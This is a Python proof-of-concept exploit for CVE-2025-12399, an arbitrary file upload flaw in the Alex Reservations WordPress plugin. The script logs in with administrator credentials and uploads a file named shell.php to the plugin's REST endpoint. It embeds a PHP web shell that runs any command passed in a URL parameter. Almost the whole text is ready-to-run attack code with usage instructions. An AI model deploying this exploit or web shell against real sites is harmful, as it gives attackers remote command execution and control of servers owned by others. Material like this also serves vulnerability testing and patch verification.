CVE-2025-12399

import requests import sys # CVE-2025-12399 PoC - Alex Reservations Arbitrary File Upload # Target: WordPress site with Alex Reservations plugin <= 2.2.3 def exploit_file_upload(target_url, username, password, file_content): """ Exploit for CVE-2025-12399: Arbitrary file upload in Alex Reservations plugin Args: target_url: Target WordPress site URL username: WordPress administrator username password: WordPress administrator password file_content: Content of the file to upload Returns: dict: Response information """ # Setup session session = requests.Session() # WordPress login to get authentication cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to {target_url}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return None print("[+] Authentication successful!") # Prepare malicious file upload upload_url = f"{target_url}/wp-json/srr/v1/app/upload/file" files = { 'file': ('shell.php', file_content, 'application/x-php') } print(f"[*] Uploading malicious file to {upload_url}...") try: response = session.post(upload_url, files=files, timeout=30) if response.status_code == 200: print("[+] File upload appears successful!") print(f"[*] Response: {response.text}") return response.json() else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None # Example PHP shell content php_shell = "<?php\nif(isset($_GET['cmd'])){\n echo '<pre>';\n system($_GET['cmd']);\n echo '</pre>';\n}\n?>" if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12399.py <target_url> <username> <password>") print("Example: python cve-2025-12399.py http://example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_file_upload(target, user, pwd, php_shell)

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